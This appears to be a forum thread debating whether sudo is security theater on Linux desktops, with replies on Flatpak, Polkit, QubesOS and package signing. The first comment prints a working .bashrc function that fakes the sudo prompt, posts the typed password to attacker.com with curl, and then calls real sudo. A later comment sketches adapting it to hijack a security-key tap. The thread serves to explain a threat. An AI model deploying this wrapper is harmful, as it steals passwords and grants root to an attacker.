5 ms·
To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~
by lrvick 1mo ago
To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.
Malware just need to put this in ~/.bashrc and wait:
function sudo () {
realsudo=$(which sudo)
read -r -s -p "[sudo] password for $USER: " password
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1
$realsudo "${@:1}"
}
- tomrod 1mo agoWhat? Why is sudo security theater?
- lrvick 1mo agoBecause it is trivial for unprivileged malware to phish the password and escalate to root. No production system should ever ship with sudo.
- jorvi 1mo agoYou do realize you can do the exact same thing on macOS? Just alias sudo to whatever you want. BSD I assume you can do the same with doas. No desktop system is safe from your attack, unless you take specific precautions like chattr on the file or chmodding your home directory, but that can lead to weird breakage.
- lrvick 1mo agoNo popular Linux desktop, I would grant you. I use QubesOS and my own distro, stagex.
- tomrod 1mo agoTIL. Thanks for your input into how sudo might not be super secure on systems already dribbling with malware.
- rick_dalton 1mo agoYou basically don’t use sudo on macOS though. Maybe once in a blue moon
- jasomill 1mo agoYou're making a big assumption about how other people use their computers. If you're running mostly desktop applications on Linux, you wouldn't use sudo much either. And if anything, I use sudoish-to-actual-rootlike on Windows more than on Linux, because more things are gated behind elevated privileges (some papered over by default UAC settings, but only when manipulated through built-in GUI tools) and there's nothing as simple as Distrobox and rootless Podman to set up isolated non-root environments.
- charrondev 1mo agoIt’s not, but the grandparent does point out 1 major flaw with sudo being a typically command that goes through normal path discovery. It makes it easier to escalate from a compromised user account to a compromised root account, since the end user is likely to type the root password into a command that can be shadowed in their user space.
- novafunc 1mo agoAny user process can append anything they want to your shell rc (.bashrc, .zshrc). In this case, they added a bash function for a fake sudo prompt. It then uses the password the user entered to run a malicious payload as root.
- silver_sun 1mo agoIf you're running a malicious user process with write (or read) access to your files, you are arguably already compromised.
- LinXitoW 1mo agoThe freaking point is that basically anything worth running will have that amount of access, even Flatpaks. And you don't freaking know what's malicious before hand.
- silver_sun 1mo agoI think that depends on your point of view. I wouldn't run a program on my computer unless I were sure that it's not malicious. And if you mean that some program I already trust could be exploited, that's true even for the Linux kernel or any sandbox / security solution you would come up with. I'm not denying that there's always a risk, but there's nothing good in running arbitrary code that you can't trust.
- inigyou 1mo agoExactly the point. You are already fully compromised, sudo adds no security.
- ahelwer 1mo agoYou need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don't even need a password at that point. Unfortunately haven't figured out how to make this work over SSH.
- ffsm8 1mo agoLook at the excerpt. They're not overwriting the sudo binary. The attack vector is real for malware running on a administrator user session which can be escalated to root via sudo. It's a niche, but it's real. Esp. if you're targeting npm installed user scripts or similar
- porridgeraisin 1mo agoNo, the above attack writes that function into bashrc, meaning the next time the user runs sudo themselves, you harvest their password.
- lrvick 1mo ago> You need root in order to overwrite sudo in the first place I think You just need write access to .bashrc or similar. > This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. Unprivileged malware will be waiting with a root payload ready to fire the next time you tap your yubikey.
- Brian_K_White 1mo agoYou do not need root to run that shell function, nor to get it loaded into a shell's environment. They didn't say anything about overwriting the sudo binary, and that is not required, which I think was their whole point was to show exactly how that is not required.
- 0l 1mo agoIndeed, and most flatpaks have access to the home directory so are also able to do this even though they're """sandboxed"""
- deleted 1mo ago[deleted]
- Arrowmaster 1mo agoI don't think flatpak allows access to hidden files so even those with access $HOME cannot do this.
- silver_sun 1mo agoFlatpak uses Portals to let the user grant access to different files/directories, apparently they don't have access by default: https://docs.flatpak.org/en/latest/sandbox-permissions.html https://docs.flatpak.org/en/latest/sandbox-permissions.html I was also unable to find any Flatpak that has access to the home directory when installed, you may well be right but I couldn't find any. I used Flatseal to verify the permissions: https://flathub.org/en/apps/com.github.tchx84.Flatseal https://flathub.org/en/apps/com.github.tchx84.Flatseal I'm also of the opinion that we generally shouldn't use software that we don't absolutely trust. That has kept my .bashrc (and other files) safe so far.
- 0l 1mo agoTo be fair it's possible the situation has changed since I last checked. But at least it used to be this way (https://flatkill.org/2020/ https://flatkill.org/2020/). I'm glad the situation has improved in terms of security, but I'm still not a big fan of the flatpak design as a whole.
- leothetechguy 1mo agoWow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.
- lrvick 1mo agoThere is. Simply do not install sudo and do not allow access to root at runtime. I am serious. There is absolutely nothing you cannot run unprivileged these days. Can even run sshd from a systemd user unit in your home folder, and even assign port 22 to it if needed with Linux Capabilities.
- inigyou 1mo agoHow do you update the kernel?
- cute_boi 1mo agoIdk why we need to use sudo to update kernel. In macos, we don't need sudo access?
- NekkoDroid 1mo agoYou do need some root process to be able to write the updated kernel image to a root owned directory. On macos that is presumably their update daemon, while on something like ParticleOS[0] IIRC it is the systemd-sysupdated daemon, though I don't know if you can initiate the update as an unprivileged user or if its done on a timer or only root initiated (sysupdate has had a lot of changes not too long ago that reworked it extensively. It use to be something only root invoked transiently with a possible timer to "update all", but now it has a full on daemon). Basically the reason we "need sudo access" (or anything to elevate privs to root) is because how the system is architected and changing that is mostly only possible on new distros which can decide to change the architecture. [0]: https://github.com/systemd/particleos https://github.com/systemd/particleos
- lrvick 1mo ago
- mike_hearn 1mo agoSudo isn't security theater when used for what it was designed for. It's useless for constraining apps you run as your own user ID.
- lrvick 1mo agoI challenge anyone to name even one thing that requires sudo on a Linux desktop not better handled with systemd user units, Linux Capabilities, rootless docker, etc.
- stickynotememo 1mo agoHow would you install packages (or update the kernel)?
- lrvick 1mo agoFor root filesystems I am recently favoring EROFS which is read only, fast, and can run from ram. On workstations I install almost all software to ~/.local as the home partition is writable. I also put all my systemd user units there, so I can run any binaries I compile as a system service to survive reboots as I like all without root. The system root partition should contain a kernel, init system, and run any essential shared services unprivileged and fully/mostly stateless. Given that, I like to compile them all into a single UEFI uki image that contains efi shim, kernel, init all in a single binary that lives in the FAT32 UEFI partition. The only reason to touch it is when you need to update your init system or kernel, which were always going to require a reboot anyway unless you get really creative with kexec. In an ideal situation the uki bundle is so generic that it is built deterministically in multiple locations and signed with a secure boot key. Then you can just straight up allow users to write to the boot partition, knowing any unsigned image that is not newer than the current one will be detected and also not allow access to the encrypted disk. The permission for that one update path can and should be external, and the result of a deterministic build matching a known hash, so you can prove it is not compromised. This could of course be automated by a distro with a UEFI wrapper or coreboot so users with no desire to customize their kernels do not have to think about it. I am pursuing these ideas in stagex, first for secure enclaves and servers where we need it most, then for desktop. Until then Qubes is the least bad option.
- silver_sun 1mo agoBut if an attacker can put arbitrary code into your .bashrc, you are already executing arbitrary malicious code.
- inigyou 1mo agoSame if an attacker can run arbitrary docker commands.
- dist-epoch 1mo agobut not as root
- nickjj 1mo agoYep, but pretty much every single piece of software you've installed on your system can read and write files to your home directory in a silent way without root, and that's where your most important files are on a desktop machine (API tokens, secrets, client projects, etc.). I have my own opinionated Arch / niri set up and there's 1155 packages installed. That's 1155 opportunities for a package to be compromised. This is also why I try very hard to avoid the AUR and only use it as a last resort (I use 2 packages from it). It doesn't guarantee safety but the official Arch package repos do seem to have more checks and bounds vs the AUR.
- lrvick 1mo agoArch at least mandates author signed packages which is unfortunately rare these days, but keys do not need to be on smartcards, and code review is not enforced. You compromise the right arch maintainer and you could do some real damage. Arch is second only to Guix in terms of supply chain security for desktop distributions, but both still have a threat model that cannot tolerate a single laptop compromise. Stay tuned for stagex for workstations. https://stagex.tools https://stagex.tools
- NekkoDroid 1mo agoI do know some of the arch maintainers (e.g. dvzrv IIRC) are working on build infrastructure that would completely automate the build process and HSM signing to separate read-only images on build servers[0, 1, 2]. I haven't heard about updates to buildbtw in a while, but development seems still somewhat active and signstar is mentioned now and then at some conferences. It feels like it is not making any progress, but I don't pay any attention to the development, so it is likely just my perception of it just having been waiting on visible process to it and not seeing it. [0]: https://gitlab.archlinux.org/archlinux/signstar https://gitlab.archlinux.org/archlinux/signstar [1]: https://gitlab.archlinux.org/archlinux/signstar-os https://gitlab.archlinux.org/archlinux/signstar-os [2]: https://gitlab.archlinux.org/archlinux/buildbtw https://gitlab.archlinux.org/archlinux/buildbtw
- utopiah 1mo agoFunnily enough it wouldn't work for me as I use passwordless sudo thanks to PAM-U2F with a YubiKey Bio. I mean realistically speaking it probably would as I would just type it thinking "Hmmm weird" but still want to proceed forward ¯\_ (ツ)_/¯
- lrvick 1mo agoOf course this style of attack would work on you. Attacker has the sudo wrapper that hooks your next yubikey tap to running any payload they want as root. Your solution helps mitigate hardware keyloggers, which is great, but for malware in your home directory, it offers no advantages.
- utopiah 1mo agoI'm missing something then, are you talking about the code your shared or an another slightly more complicated one you are just imagining now?
- lrvick 1mo agoA 3 line change to my above code would do for your case. Obviously that is not production ready malware, it is just a minimum viable example for the most common target. You type "sudo" and it runs an unprivileged sudo wrapper, and prepends your sudo command and runs real sudo. You tap, and your intended command runs as root alongside the attackers command. You need a separate trusted OS to do privileged workflows from. Your setup would be effective if you were using an OS built for that kind of thing like QubesOS. In my setup every app runs in a dedicated VM with a fake proxy smartcard, that routes to a real nitrokey in a hardware isolated and offline VM. That offline VM can be like "do you want to authorize a tap for aws.amazon.com" and I can be like "not today malware. I asked to login to doordash. nice try"
- utopiah 1mo agoRight but that's my point, since 99.99% of users don't rely on U2F I doubt it would be covered or even be rational to cover such edge cases and thus most likely wouldn't work. I'm not saying it's a magical perfect solution, only that being outside of the most popular flow is in itself a protection for the most automated attacks.
- pritambaral 1mo agoDesktop alternative to most uses of sudo: Polkit[1]. For a UAC style prompt, see AeroShell[2]. However, one still SHOULD NOT allow untrusted software arbitrary read/write access to their $HOME, even on a completely secure (and thus, imaginary) OS. No reason why every App X should have access to the files of every App Y. 1: https://wiki.archlinux.org/title/Polkit https://wiki.archlinux.org/title/Polkit 2: https://github.com/aeroshell-desktop/uac-polkit-agent https://github.com/aeroshell-desktop/uac-polkit-agent